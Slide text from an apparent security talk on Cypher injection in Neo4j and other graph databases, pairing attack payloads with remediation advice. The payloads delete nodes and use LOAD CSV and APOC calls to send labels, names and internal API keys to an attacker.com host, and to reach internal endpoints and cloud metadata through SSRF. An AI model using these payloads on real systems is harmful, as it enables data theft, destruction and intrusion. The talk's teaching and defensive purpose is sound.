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Takeaways
Cypher & Graph Databases

Injection Time!

Attack Escalation

Remediation & Mitigation

What Now - A New Era of Injections
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What is Cypher?
(Open)Cypher Query Language

in simple words
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Cypher is commonly used in
Graph Databases
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Relational Database

Character

id

place_id

name

birth_date

Place

id

name

city

Lives at

Graph Database
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Go Cypher!
Understanding Cypher Query
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MATCH (c:Character {name:"Spongebob"}) 
RETURN c

Terms
Node Relationship Node

Variable Label Property
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Goodbye SELECT, Hello MATCH

Get all Characters:  
MATCH (c:Character) RETURN c

Get Character by name:
MATCH (c:Character) 
WHERE c.name = ‘Spongebob’ RETURN c
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Injection 
Time!
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In A Nutshell
SQL Injection
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SELECT * FROM “characters” WHERE name = “Spongebob”

SQLi In A Nutshell

id
0
1
2
3

name
Spongebob
Patrick

Squidward
Sandy

Spongebob -> Spongebob” OR 1=1--

SELECT * FROM “characters” WHERE name = “Spongebob” OR 1=1--”

Iniciando el hackeo
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Cypher Injection
Returning back to 

Cypher
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MATCH (c:Character) 
WHERE c.name = ' + USER_INPUT + ' RETURN c

MATCH By Name

MATCH (c:Character) 
WHERE c.name = 'Spongebob' RETURN c

Spongebob
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MATCH (c:Character) 
WHERE c.name = ' + USER_INPUT + ' RETURN c

MATCH By Name Injection - Return All

MATCH (c:Character) 
WHERE c.name =’Spongebob’ OR 1=1 RETURN c//‘ 
RETURN c

Spongebob’ OR 1=1 RETURN c//
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MATCH (c:Character) 
WHERE c.name = ' + USER_INPUT + ' RETURN c

MATCH By Name Injection - Delete

MATCH (c:Character) 
WHERE c.name =’Spongebob’ DELETE c//‘ RETURN c

Spongebob’ DELETE c//
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DELETE
EVERYTHING
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MATCH (c:Character) 
WHERE c.name = ' + USER_INPUT + ' RETURN c

MATCH By Name Injection - DELETE All

MATCH (c:Character) 
WHERE c.name =‘Spongebob’ 
MATCH (all:Character) 
DELETE all//‘ 
RETURN c
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RETURN c? 
Character label?

BuT We DoN’t SeE ThE 
QuErY!
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Data 
Exfiltration
Leveraging LOAD CSV  
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import data from CSV files.

LOAD CSV

LOAD CSV FROM https://your-website/data.csv
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Blind 
Injection

LOAD CSV  
Comes To The Rescue!
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Using LOAD CSV To Leak Labels

CALL db.labels() YIELD label 
LOAD CSV FROM 
'https://attacker.com/'+label
AS b RETURN b//
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https://attacker.burpcollaborator.net/'+label


Using LOAD CSV To Leak Properties

MATCH (c:Character)  
LOAD CSV FROM 
'https://attacker.com/'+apoc.text.join(keys(c), ' ')
AS b RETURN b//
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https://attacker.burpcollaborator.net/'+label


Using LOAD CSV To Leak Names

MATCH (c:Character)  
LOAD CSV FROM 'https://attacker.com/'+c.name
AS b RETURN b//
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https://attacker.burpcollaborator.net/'+label


More 
Damage
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Attack Escalation

Denial-Of-Service
Preventing access to 
the database

01

Lateral Movement
Escalating to other 
machines
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SSRF & RFI
Accessing sensitive 
endpoints & files

02

Alternatives
LOAD CSV alternatives
In Neo4J & other databases

04
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DoS - Leak & Kill Connections
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Drop Database
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More 
Damage
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SSRF Through Cypher Injection
Server-Side Request Forgery

Server

Internal 
server

Internal 
server

Internal 
server

Internal 
server

Internal 
server

Internal 
server
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SSRF +  LOAD CSV 
=
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Leveraging LOAD CSV For SSRF

Internal 
server

Internal 
server

Internal 
server

Internal 
server

Internal 
server

Internal 
server

Server-Side Request Forgery

  /secret

Vulnerable
Server

LOAD CSV FROM

/latest/metadata IMDSv1http://internal_host/secrethttp://169.254.169.254
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Leak Secrets Through SSRF

LOAD CSV FROM "http://localhost:3030/internal-api/keys.txt"  
AS secret 
LOAD CSV FROM "http://attacker.com/"+secret[0] 
AS line RETURN secret[0]//
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Vendor Communication
My 2 cents about our

LOAD CSV APOC Plugin
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LOAD CSV was blocked?
 Go APOC Library!

● Extension to Cypher Language
● Load, Import, Export procedure

https://neo4j.com/developer/neo4j-apoc 40



LOAD CSV was blocked?
 Go APOC Library! #2

MATCH (c:Character) 
CALL apoc.load.json
("https://attacker.com/data.json?leaked="+c.name) 
YIELD value RETURN value

https://neo4j.com/developer/neo4j-apoc 41



Remediation 
&

 Mitigation
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Remediation
Use Parameterized Queries

session.run("MATCH (c:Character) 
WHERE c.name = $name RETURN c", {name: name})

session.run("MATCH (c:Character) 
WHERE c.name  ' " + name  + " ' + RETURN c)
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Mitigations
➔ RBAC support - users, roles & privileges

◆ Read / write
◆ Built-in granular roles - PUBLIC, reader, 

editor,admin
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◆ Revoke privileges from roles
◆ Hardening capabilities per-user

➔ Disable/allowlist Apoc procedures (neo4j.conf) (4.3)



Mitigations
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➔ Configure unsupported.dbms.cypher_ip_blocklist (4.4.4)

➔ Configure internal.dbms.cypher_ip_blocklist (5.x)

unsupported.dbms.cypher_ip_blocklist=0.0.0.0/0,::/0

In neo4j.conf :

"access to $IP_ADDR is blocked via the 
configuration property 
unsupported.dbms.cypher_ip_blocklist"

https://neo4j.com/developer/kb/protecting-against-ssrf



A word about     
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Graph



● Parameterized queries are supported

Redis Graph
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● Some procedures are supported (db.labels)
● Substrings are supported
● CASE WHEN - if-based  (with toInteger(‘1/0’) for 

error)

https://redis.io/commands/graph.query/#procedures

https://redis.io/docs/stack/graph/cypher_support/#parameters
https://redis.io/commands/graph.query/#procedures
https://redis.io/docs/stack/graph/cypher_support/#string-functions


What Now
● Understand how Cypher injections work - 

https://github.com/noypearl/cypher-playground
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● Bug bounty - hunt for bugs in Cypher 

● Fix existing injections in your applications

● Reduce attack surface
● Profit

https://github.com/noypearl/cypher-playground


Cypher Injection Playground
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Resources & Credits

● The Cypher Injection Saga Writeup - @Tempest Security 

● https://github.com/morkin1792/CIWA
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https://www.sidechannel.blog/en/the-cypher-injection-saga/
https://github.com/morkin1792/CIWA


Thank You!

https://github.com/noypearl/cypher-playground

51@noypearl

Try it yourself


